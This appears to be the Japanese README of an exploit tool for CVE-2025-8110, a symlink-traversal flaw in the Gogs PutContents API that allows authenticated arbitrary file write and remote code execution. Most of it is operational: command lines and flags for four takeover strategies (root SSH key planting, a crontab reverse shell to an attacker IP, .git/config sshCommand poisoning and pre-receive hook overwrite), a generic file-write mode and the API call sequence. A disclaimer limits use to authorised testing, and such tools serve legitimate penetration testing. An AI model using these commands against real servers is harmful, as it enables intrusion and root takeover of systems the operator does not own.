
Gogs シンボリックリンクトラバーサル → RCE
CVE-2025-8110 は、Gogs(セルフホスト型 Git サービス)のバージョン 0.13.3 以下 における深刻な脆弱性です。PutContents API はディレクトリトラバーサル (../) に対してファイルパスを検証しますが、書き込み前にシンボリックリンクを解決しません。認証済みユーザーが任意のサーバーファイルをターゲットにしたシンボリックリンクを含むコミットをプッシュし、そのシンボリックリンクに対して PutContents を呼び出すことで、実際のファイルを攻撃者が制御する内容で上書きできます。
これは以前の CVE-2024-55947 の修正を回避するもので、その修正では直接的なパストラバーサルのみに対処しており、シンボリックリンクベースのトラバーサルには対応していませんでした。
| 詳細 | 値 |
|---|---|
| CVE | CVE-2025-8110 |
| 影響を受けるバージョン | Gogs <= 0.13.3 |
| 修正バージョン | Gogs 0.13.4 |
| タイプ | 認証済み任意ファイル書き込み → RCE |
| CVSS | 8.8(高) |
| コンポーネント | PutContents API (/api/v1/repos/:owner/:repo/contents/:path) |
requests(pip install requests)git CLIこのエクスプロイトは 4 つの組み込み RCE 戦略と汎用ファイル書き込みモードをサポートしています。
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens)- API トークン(Basic Auth)でログインPOST /api/v1/user/repos(auto_init: true を指定)PUT /api/v1/repos/:owner/:repo/contents/:link に base64 エンコードされた内容を送信。Gogs はディスク上のシンボリックリンクを解決し、実際のファイルに書き込むtarget Gogs ベース URL(例:http://target:3000)
認証:
-u, --user Gogs ユーザー名
-p, --password Gogs パスワード
RCE 戦略:
--rce-keys PUBKEY SSH 公開鍵を仕込み → /root/.ssh/authorized_keys
--rce-cron リバースシェル → /etc/crontab
--rce-ssh .git/config の sshCommand を汚染しトリガー
--rce-hook pre-receive フックを上書きしトリガー
--write 汎用任意ファイル書き込み
接続 / ペイロード:
--lhost LHOST リバースシェル用の攻撃者 IP
--lport LPORT リバースシェル用の攻撃者ポート
--target-file PATH 上書きするサーバーパス(--write モード)
--content STRING 書き込む内容
--content-file FILE ローカルファイルの内容を書き込み
オプション:
--repo NAME リポジトリ名(デフォルト:ランダム)
--cleanup 完了後にエクスプロイトリポジトリを削除
-o, --output FILE レポートファイル(デフォルト:loot.json)
--timeout SECONDS リクエストタイムアウト(デフォルト:15)
--proxy URL デバッグ用 HTTP プロキシ
--check-only ターゲットが Gogs かどうかのみチェックし、エクスプロイトは行わない
このツールは認可されたセキュリティテストおよび教育目的のみで提供されます。許可なくコンピュータシステムにアクセスすることは違法です。著者は誤用に対する一切の責任を負いません。所有しているシステム、または明示的な書面によるテスト許可があるシステムでのみ使用してください。
| 戦略 | フラグ | ターゲットファイル | トリガー |
|---|
| A — SSH 鍵 | --rce-keys | /root/.ssh/authorized_keys | SSH ログイン |
| B — Crontab | --rce-cron | /etc/crontab | 自動(60 秒以内) |
| C — sshCommand | --rce-ssh | .git/config | SSH git 操作 |
| D — Git フック | --rce-hook | hooks/pre-receive | git push |
| 汎用 | --write | 任意のパス | 手動 |